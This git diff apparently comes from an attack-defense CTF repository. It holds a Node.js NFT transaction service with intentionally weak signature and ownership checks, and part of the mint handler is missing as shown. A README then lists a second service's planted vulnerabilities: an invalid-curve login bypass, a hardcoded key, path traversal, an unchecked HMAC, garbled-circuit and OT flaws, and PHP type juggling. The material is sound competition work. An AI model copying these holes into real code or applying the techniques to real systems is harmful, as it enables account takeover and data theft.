"https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "requires": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + } + }, + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=" + }, + "send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "requires": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "dependencies": { + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + } + } + }, + "serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + } + }, + "setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "socket.io": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.5.1.tgz", + "integrity": "sha512-0y9pnIso5a9i+lJmsCdtmTTgJFFSvNQKDnPQRz28mGNnxbmqYg2QPtJTLFxhymFZhAIn50eHAKzJeiNaKr+yUQ==", + "requires": { + "accepts": "~1.3.4", + "base64id": "~2.0.0", + "debug": "~4.3.2", + "engine.io": "~6.2.0", + "socket.io-adapter": "~2.4.0", + "socket.io-parser": "~4.0.4" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "socket.io-adapter": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.4.0.tgz", + "integrity": "sha512-W4N+o69rkMEGVuk2D/cvca3uYsvGlMwsySWV447y99gUPghxq42BxqLNMndb+a1mm/5/7NeXVQS7RLa2XyXvYg==" + }, + "socket.io-client": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.5.1.tgz", + "integrity": "sha512-e6nLVgiRYatS+AHXnOnGi4ocOpubvOUCGhyWw8v+/FxW8saHkinG6Dfhi9TU0Kt/8mwJIAASxvw6eujQmjdZVA==", + "requires": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.2", + "engine.io-client": "~6.2.1", + "socket.io-parser": "~4.2.0" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "socket.io-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.0.tgz", + "integrity": "sha512-tLfmEwcEwnlQTxFB7jibL/q2+q8dlVQzj4JdRLJ/W/G1+Fu9VSxCx1Lo+n1HvXxKnM//dUuD0xgiA7tQf57Vng==", + "requires": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1" + } + } + } + }, + "socket.io-parser": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.0.4.tgz", + "integrity": "sha512-t+b0SS+IxG7Rxzda2EVvyBZbvFPBCjJoyHuE0P//7OAsN23GItzDRdWa6ALxZI/8R5ygK7jAR6t028/z+7295g==", + "requires": { + "@types/component-emitter": "^1.2.10", + "component-emitter": "~1.3.0", + "debug": "~4.3.1" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "requires": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "requires": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "sqlstring": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/sqlstring/-/sqlstring-2.3.1.tgz", + "integrity": "sha1-R1OT/56RR5rqYtyvDKPRSYOn+0A=" + }, + "statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==" + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + } + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "requires": { + "minimalistic-assert": "^1.0.0" + } + }, + "ws": { + "version": "8.2.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.3.tgz", + "integrity": "sha512-wBuoj1BDpC6ZQ1B7DWQBYVLphPWkm8i9Y0/3YdHjHKHiohOJ1ws+3OccDWtH+PoC9DZD5WOTrJvNbWvjS6JWaA==", + "requires": {} + }, + "xmlhttprequest-ssl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.0.0.tgz", + "integrity": "sha512-QKxVRxiRACQcVuQEYFsI1hhkrMlrXHPegbbd1yn9UHOmRxY+si12nQYzri3vbzt8VdTTRviqcKxcyllFas5z2A==" + } + } +} diff --git a/services/service1/service/transactions/package.json b/services/service1/service/transactions/package.json new file mode 100644 index 0000000..54adfda --- /dev/null +++ b/services/service1/service/transactions/package.json @@ -0,0 +1,20 @@ +{ + "name": "docker_web_app", + "version": "1.0.0", + "description": "Node.js on Docker", + "author": "First Last ", + "main": "app.js", + "scripts": { + "start": "node src/app.js" + }, + "dependencies": { + "elliptic": "^6.5.4", + "express": "^4.16.1", + "express-async-handler": "^1.2.0", + "mysql": "^2.18.1", + "socket.io": "^4.5.1", + "socket.io-client": "^4.5.1", + "spdy": "^4.0.2", + "uuid": "^8.3.2" + } +} diff --git a/services/service1/service/transactions/src/app.js b/services/service1/service/transactions/src/app.js new file mode 100644 index 0000000..88b13ce --- /dev/null +++ b/services/service1/service/transactions/src/app.js @@ -0,0 +1,295 @@ +'use strict'; + +const asyncHandler = require('express-async-handler') +const EC = require('elliptic').ec; +const crypto = require('crypto'); +const { v4: uuidv4 } = require('uuid'); +const starter = require('./start-app.js'); + + +const app = starter.app; +const io = starter.io; +const pool = starter.pool; +const spdy_server = starter.spdy_server; +const query = starter.query; + + +function insert_nft(nft, chain, callback) { + let {owner, title, data, price, id} = nft; + + if(!id){ + id = uuidv4(); + } + var new_nft = { + nft_id: id, + price: price, + owner: owner, + title: title, + data: data + } + pool.query("INSERT INTO nfts SET ?", [new_nft], (err, result, fields) => { + pool.query("INSERT INTO nft_chain SET ?", [{nft_id: id, chain_number: chain}], (err, result, fields) => { + + if (err) callback(err, -1); + + callback(null, id); + }); + }); +} + +function insert_transaction(nft_id, from_user, to_user, type, signature) { + var tx_id = uuidv4(); + var tx = { tx_id, nft_id, from_user, to_user, type, signature }; + pool.query("INSERT INTO transactions SET ?", [tx], (err, results) => { + if (err) throw err; + // real time transactions!!! + var time_executed = new Date().toISOString(); + var stx = {...tx, time_executed}; + io.emit("transactions_rt", stx); + }); +} + + +function verify(hash, signature, pubkey) { + var ec = new EC('secp256k1'); + var pub = "04"+pubkey; + var key = ec.keyFromPublic(pub, 'hex'); + var sig = {r: signature.slice(0, 64), s: signature.slice(64, 128)}; + + return key.verify(hash, sig); +} + + +io.on('connection', (socket) => { + console.log('User Connected'); + + + socket.on('transactions_all', (msg) => { + pool.query("SELECT * FROM transactions ORDER BY time_executed DESC LIMIT 10", (err, results, fields) => { + socket.emit('transactions_resp', results); + }); + }); + + socket.on('transactions_for_nft', (nft_id) => { + pool.query("SELECT * FROM transactions WHERE nft_id = ? ORDER BY time_executed DESC LIMIT 10", [nft_id], (err, results, fields) => { + socket.emit('transactions_resp', results); + }); + }); + + socket.on('transactions_for_user', (user_id) => { + pool.query("SELECT * FROM transactions WHERE from_user = ? OR to_user = ? ORDER BY time_executed DESC LIMIT 10", [user_id, user_id], (err, results, fields) => { + + socket.emit('transactions_resp', results); + }); + }); + + socket.on('disconnect', () => { + console.log('user disconnected'); + }); +}); + + +app.get('/', (req, res) => { + res.writeHead(200); + res.end('SERVICE HEALTHY'); +}); + +app.post('/switch_chain', asyncHandler(async (req, res, next) => { + var nft_id = req.body.nft_id; + var user_id = req.body.user_id; + var chain_number = req.body.chain; + + var user = await query("SELECT * FROM users WHERE id = ?", [user_id]); + user = user[0]; + var nft = await query("SELECT * FROM nfts JOIN nft_chain ON nfts.nft_id = nft_chain.nft_id WHERE nfts.nft_id = ?", [nft_id]); + nft = nft[0]; + + if (nft.owner != user_id) { + res.json({"success": false, "message": "You don't own this NFT!"}) + return; + } + + pool.query("DELETE FROM nft_chain WHERE nft_id = ? ", [nft_id], (err, results, fields) => { + pool.query("INSERT INTO nft_chain SET ?", [{nft_id: nft_id, chain_number: chain_number}], (err, result, fields) => { + if (err){ + res.json({"success": false}); + return; + } + + res.json({"success": true}); + }); + }); + + +})); + +app.post('/donate', asyncHandler(async (req, res, next) => { + var from_addr = req.body.from_addr; + var to_addr = req.body.to_addr; + var nft_id = req.body.nft_id; + var signature = req.body.signature; + var pubkey = req.body.pubkey; + + var blob = JSON.stringify({"nft_id": nft_id, "from_addr": from_addr, "to_addr": to_addr}); + var hash = crypto.createHash('sha256').update(blob).digest('hex'); + + if (!verify(hash, signature, pubkey)) { + res.json({"success": false, "message": "Signature verification failed"}) + return; + } + + var nft = await query("SELECT * FROM nfts JOIN nft_chain ON nfts.nft_id = nft_chain.nft_id WHERE nfts.nft_id = ?", [nft_id]); + nft = nft[0]; + + if (nft.owner != from_addr) { + res.json({"success": false, "message": "You don't own this NFT!"}) + return; + } + + var copy_nft = { + owner: to_addr, + title: nft.title, + data: nft.data, + price: 0 + } + + insert_transaction(nft.nft_id, from_addr, to_addr, "donate", signature); + insert_nft(copy_nft, nft.chain_number, (err, new_id) => { + + if (err) { + res.json({"success": false}); + return; + } + res.json({"success": true, "new_id": new_id}); + }); +})); + +app.post('/buy', asyncHandler(async (req, res, next) => { + + var nft_id = req.body.nft_id; + var user_id = req.body.user_id; + var signature = req.body.signature; + var pubkey = req.body.pubkey; + + + var blob = JSON.stringify({"nft_id": nft_id, "user_id": user_id}); + var hash = crypto.createHash('sha256').update(blob).digest('hex'); + + if (!verify(hash, signature, pubkey)) { + res.json({"success": false, "message": "Signature verification failed"}) + return; + } + + var user = await query("SELECT * FROM users WHERE id = ?", [user_id]); + user = user[0]; + var nft = await query("SELECT * FROM nfts JOIN nft_chain ON nfts.nft_id = nft_chain.nft_id WHERE nfts.nft_id = ?", [nft_id]); + nft = nft[0]; + + if (nft.price == 0) { + res.json({"success": false, "message": "Cannot buy a copy of a nft!"}); + return; + } + + if (nft.chain_number) { + var money = user.money2; + var obj_update = {money2: user.money2-nft.price}; + } else { + var money = user.money1; + var obj_update = {money1: user.money1-nft.price}; + } + + if (nft.price > money) { + res.json({"success": false, "message": "Not enough money"}); + return; + } + + await query("UPDATE users SET ? WHERE id = ?", [obj_update, user_id]); + + var copy_nft = { + owner: user_id, + title: nft.title, + data: nft.data, + price: 0 + } + insert_transaction(nft.nft_id, nft.owner, user_id, "buy", signature); + insert_nft(copy_nft, nft.chain_number, (err, new_id) => { + + if (err) { + res.json({"success": false}); + return; + } + res.json({"success": true, "new_id": new_id}); + }); +})); + +app.post('/mint', asyncHandler(async (req, res) => { + var owner = req.body.owner; + var title = req.body.title; + var data = req.body.data; + var price = req.body.price; + var chain = req.body.public; + var id = req.body.id; + + if(title.length > 50){ + res.json({"success": false}); + return; + } + + var user = await query("SELECT * FROM users WHERE id = ?", [owner]); + if (user == false) { + res.json({"success": false}); + return; + } + user = user[0]; + + const mint_cost = 1; + if (chain) { + var money = user.money2; + var obj_update = {money2: user.money2-mint_cost}; + } else { + var money = user.money1; + var obj_update = {money1: user.money1-mint_cost}; + } + + if (money { + + if (err) { + res.json({"success": false}); + return; + } + res.json({"success": true, "new_id": new_id}); + }) +})); + +app.get('*', (req, res) => { + res.writeHead(404); + res.end('Not found'); +}); + +app.use(function(err, req, res) { + res.status(err.status || 500); + res.render('error', { + message: 'Error', + error: {} + }); + ; +}); + +process.on('unhandledRejection', (reason, promise) => { + console.log(reason) + + }); + +process.on('uncaughtException', (error) => { + console.log(error); +}); + +console.log('Starting the transactions service.'); +spdy_server.listen(8085); diff --git a/services/service1/service/transactions/src/start-app.js b/services/service1/service/transactions/src/start-app.js new file mode 100644 index 0000000..c65f329 --- /dev/null +++ b/services/service1/service/transactions/src/start-app.js @@ -0,0 +1,87 @@ +'use strict'; + +const spdy = require('spdy'); +const spdy_transport = require('spdy-transport'); +const util = require('util'); +const express = require('express'); +const { Server } = require("socket.io"); +const asyncHandler = require('express-async-handler'); +const mysql = require('mysql'); + +function http2_upgrade(req, sock, head) { + var conn = (req.headers['connection'] || '').toLowerCase().split(/,\s*/); + var upg = (req.headers['upgrade'] || '').toLowerCase(); + if ( + conn.indexOf('upgrade') != -1 && + conn.indexOf('http2-settings') != -1 && + /^h2c/.test(upg) && + 'http2-settings' in req.headers + ) { + sock.write([ + 'HTTP/1.1 101 Switching Protocols', + 'Connection: Upgrade', + 'Upgrade: ' + upg, + '', '' + ].join('\r\n')); + delete req.headers['upgrade']; + delete req.headers['connection']; + delete req.headers['http2-settings']; + var connection = spdy_transport.connection.create(sock, util._extend({ + protocol: 'http2', + isServer: true + }, this._spdyState.options.connection || {})); + connection.start(4); + connection.on('error', sock.destroy.bind(sock)); + connection.on('stream', this._onStream.bind(this)); + connection._handleFrame({ + type: 'HEADERS', + id: 1, + priority: { parent: 0, exclusive: false, weight: 16 }, + fin: false, + writable: true, + headers: util._extend(req.headers, { + ':method': req.method, + ':path': req.url, + ':scheme': 'http', + ':authority': req.headers.host, + }), + path: req.url + }); + return true; + } +} + +const app = express(); +app.use(express.json()); + + +var spdy_server = spdy.createServer({ + spdy: { + protocols: ['h2', 'http/1.1'], + plain: true, + ssl: false, + } +}, app); + +const io = new Server(spdy_server); + +spdy_server.on('upgrade', function (req, sock, head) { + if (http2_upgrade.call(this, req, sock, head)) return; +}); + +const pool = mysql.createPool({ + connectionLimit: 10, + host: process.env.DBHOST, + user: process.env.DBUSER, + password: process.env.DBPASS, + database: process.env.DBSCHEMA +}); + +const query = util.promisify(pool.query).bind(pool); + + +exports.app = app; +exports.query = query; +exports.pool = pool; +exports.io = io; +exports.spdy_server = spdy_server; diff --git a/services/service2/README.md b/services/service2/README.md new file mode 100644 index 0000000..d97a037 --- /dev/null +++ b/services/service2/README.md @@ -0,0 +1,119 @@ +# CyberUni + +| Service 2 | CyberUni | +| :------------ | :-------------------------------------------------------------------------------------------------------------------- | +| Author(s) | @mr-96 @drago-96 | +| Store(s) | 3 | +| Category(ies) | rev-crypto / crypto / web | +| Port(s) | 123{4,5,6,7} | +| FlagId(s) | username (ExamNotes) / username (EncryptedNotes) / exam id (ExamPortal) | +| Checker(s) | [ExamNotes](/checkers/2/checker.py) / [EncryptedNotes](/checkers/3/checker.py) / [ExamPortal](/checkers/4/checker.py) | + +![](../../img/cyberuni.png) + +## Description + +This service is a simplified Kerberos-like infrastructure: there is a central authentication service that distribute tokens to login on 3 different apps. Every app is a flagstore. + +### Auth service + +The Auth service is the core of the "user management" part of the service: it manages registration (with users stored in txt files) and authentication (with a python library written in c++ that emulates the key distribution center of a Kerberos infrastructure). From this app an user can receive tokens to login on the 3 subservices. This app has no flags, but it can be used to trick the authentication verification in the "ExamNotes" app to get one flagstore. + +### App 1 - ExamNotes + +This service is a simple plaintext-notes app. Users can login via token, write, read and list their notes. Flags are in the notes of the admin (the username associated to the flag_id). + +### App 2 - EncryptedNotes + +This service runs two-party computation between the server and the client, using the construction based on garbled circuits (with "Free XOR" optimization) and oblivious transfer. + +After selecting the function to evaluate (either `f(s, c) = c` or `f(s, c) = AES_s(c)`), the server returns a garbled circuit for the given function, and then runs the interactive OT with the client to give it the corresponding labels. The client will then evaluate the circuit and read the output bits. + +In both cases the server's input will be an AES key that it uses to encrypt the flag. + +### App 3 - ExamPortal + +This simple webapp allows users (the "profs") to create exams and other users (the "students") to answer them. The service automatically grades the given answers, and if all of them are correct it gives the flag away. + +## Vulnerabilities + +### Auth service + +#### Vuln 1: invalid curves + +The functions "Add" and "Multiply" of the ellipticcurve class of CryptoPP do not sanitize the given parameters: one malicious client can corrupt the key-exchange part of the protocol giving the identity point on the elliptic curve and login with every user without knowing the password. This vulnerability allows player to login on ExamNotes and read the plaintext notes of the admin. This is not useful in the other 2 services, since logging in as the admin does not give the plaintext flag. + +### ExamNotes + +#### Vuln 1: hardcoded key + +The service key is hardcoded: players can reverse engineer the protocol and craft tokens for every user, including the admins. + +#### Vuln 2: path traversal + +There is a path traversal in the read_note function, letting users read notes of other users by simply creating an empty note and then ask for `../sha256 of flag_id/0` + +#### Vuln 3: tag not checked + +Inside tokens there is an `HMAC` that is never checked by this app: this allows attackers to tamper with the tokens and login as other users. + +### EncryptedNotes + +#### Vuln 1: ungarbled circuits + +When garbling the computation circuit the server transforms each gate (excluding XOR) into a table encoding the operation; however, it doesn't randomize the table. + +This leads to the recovery of the server's secret input, in particular using the "echo" function: using any client input (for example all zeros) and decoding the i-th gate, if we get the value of the output wire from the first two elements the server's bit is 0, otherwise it's a 1. + +#### Vuln 2: output wires are not obfuscated + +When sending the circuit, the server sends the `wires` values of the output bits instead of an obfuscated/hased version. This leads the client to compute the free XOR parameter `R`, and thus obtaining the input labels corrseponding to both 0 and 1 for each of the client's bits. + +We can use this to evaluate the circuit with arbitrary inputs. By carefully analyzing the paths of the wires (in particular those leading to an AND gate) we can write linear equations with the server's private bits as unknowns; collecting enough of these equations to get high enough rank makes the recovery of the server's key possible. + +#### Vuln 3: OT uses fixed randomness + +The [chosen OT protocol](https://en.wikipedia.org/wiki/Oblivious_transfer#1%E2%80%932_oblivious_transfer) uses a fixed pair of `x0, x1` for all the bits, again making it possible to recover both the labels. + +In particular, when sending as `v` a vector composed by all `x0` we get `c0 = m0` and `c1 = m1 + k`, with a fixed `k` for all bits. Since we know that `m1 = m0 ^ R`, we can check if some `R` is the solution by checking if all the `c1 - (c0 ^ R)` are constant; doing this bit by bit reveals `R` in short time. + +At this point, we repeat the attack at step 2 of analyzing the circuit with the possibility of evaluating on arbitrary inputs. + +### ExamPortal + +#### Vuln 1: type juggling with JSON + +The `submit` endpoint reads a JSON as input; it then checks the answers with `$corr_ans == $obj["answers"][$i]`. + +Given that the correct answer is a string ("A", "B", "C" or "D"), we can make send the value 0 (as an integer), and then PHP will evaluate `"A" == 0` to true, and we will gett full points. + +#### Vuln 2: bool assigment with "and" + +There is an endpoint to view the answers to an exam, but should be accessible only by the exam creator. + +However, the access control is made via `$can_view = $user->has2fa() and $exam->getOwner() === $user->getId();`. In PHP the operator `and` loses precedence to the assignment `=`; so if a user sets up an account with the 2fa enabled, this line will be evaluated as `($can_read = true) and false`, giving access to the answers to all users with 2fa enabled. + +## Exploits + +| service | store | exploit | +| :------------------------ | :---: | :--------------------------------------------------------------------------------------------- | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln1-hardcoded-key.py](/exploits/service2-store1-vuln1-hardcoded-key.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln2-path-traversal.py](/exploits/service2-store1-vuln2-path-traversal.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln3-tag-not-checked.py](/exploits/service2-store1-vuln3-tag-not-checked.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln4-auth-bypass.py](/exploits/service2-store1-vuln4-auth-bypass.py) | +| CyberUni - EncryptedNotes | 2 | [service2-store2-vuln1-ungarbled.py](/exploits/service2-store2-vuln1-ungarbled.py) | +| CyberUni - EncryptedNotes | 2 | [service2-store2-vuln2-wiresout.sage](/exploits/service2-store2-vuln2-wiresout.sage) | +| CyberUni - EncryptedNotes | 2 | [service2-store2-vuln3-otrandom.sage](/exploits/service2-store2-vuln3-otrandom.sage) | +| CyberUni - ExamPortal | 3 | [service2-store3-vuln1-zeros.py](/exploits/service2-store3-vuln1-zeros.py) | +| CyberUni - ExamPortal | 3 | 